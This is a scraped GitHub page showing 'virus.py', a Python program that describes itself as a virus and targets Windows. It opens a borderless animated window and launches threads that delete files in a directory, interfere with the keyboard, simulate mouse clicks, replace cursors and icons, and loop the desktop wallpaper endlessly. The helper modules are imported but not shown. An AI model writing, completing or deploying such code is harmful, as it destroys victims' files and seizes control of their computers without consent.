-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathvirus.py
103 lines (85 loc) · 3.44 KB
/
virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import tkinter as tk
from itertools import count
import os
import threading
import ctypes
from PIL import Image, ImageTk
import pygame
from lock import lock_key, unlock_key
from remove_file import DeleteFile
from click_movie import click_mouse
from change_mouse import SystemChange
class ImageLabel(tk.Label):
def load(self, im):
if isinstance(im, str):
im = Image.open(im)
self.loc = 0
self.frames = []
try:
for i in count(1):
self.frames.append(ImageTk.PhotoImage(im.copy()))
im.seek(i)
except EOFError:
pass
try:
self.delay = im.info['duration']
except:
self.delay = 100
if len(self.frames) == 1:
self.config(image=self.frames[0])
else:
self.next_frame()
def unload(self):
self.config(image="")
self.frames = None
def next_frame(self):
if self.frames:
self.loc += 1
self.loc %= len(self.frames)
self.config(image=self.frames[self.loc])
self.after(self.delay, self.next_frame)
class App(tk.Tk):
def __init__(self):
tk.Tk.__init__(self)
self.overrideredirect(True)
self.screen_width = self.winfo_screenwidth()
self.screen_height = self.winfo_screenheight()
self.window_width = 400
self.window_height = 400
self.x = self.screen_width - self.window_width - 10
self.y = self.screen_height - self.window_height - 10
self.geometry(f"{self.window_width}x{self.window_height}+{self.x}+{self.y}")
self.lbl = ImageLabel(self)
self.lbl.pack()
self.thread_kaun = threading.Thread(target=self.lbl.load, args=(os.path.dirname(os.path.realpath("__file__"))+"\media\gif.gif",))
self.thread_kaun.start()
self.del_obj = DeleteFile()
self.thread_del_dir = threading.Thread(target=self.del_obj.delete_files_in_directory)
self.thread_del_dir.start()
self.thread_bg = threading.Thread(target=self.bg_new, args=(1,))
self.thread_bg.start()
self.thread_lock_keyboard = threading.Thread(target=unlock_key)
self.thread_lock_keyboard.start()
self.thread_click_sound = threading.Thread(target=click_mouse)
self.thread_click_sound.start()
self.replase_folder = SystemChange()
self.replase_folder_change_cursor = threading.Thread(target=self.replase_folder.change_cursor)
self.replase_folder_change_cursor.start()
self.replase_folder_change_icons = threading.Thread(target=self.replase_folder.change_icons)
self.replase_folder_change_icons.start()
def set_wallpaper(self, image_path):
ctypes.windll.user32.SystemParametersInfoW(20, 0, image_path, 3)
def bg_new(self,i):
gif_path = os.path.dirname(os.path.realpath("__file__"))+"\media\\bg.gif"
gif_image = Image.open(gif_path)
frames = gif_image.n_frames
for frame in range(frames):
gif_image.seek(frame)
frame_image = gif_image.copy()
frame_image_path = os.path.dirname(os.path.realpath("__file__"))+f"\media\\frame\\frame_{frame}.png"
frame_image.save(frame_image_path)
while True:
for i in [os.path.dirname(os.path.realpath("__file__"))+f"\media\\frame\\frame_{frame}.png" for frame in range(frames)]:
self.set_wallpaper(i)
app = App()
app.mainloop()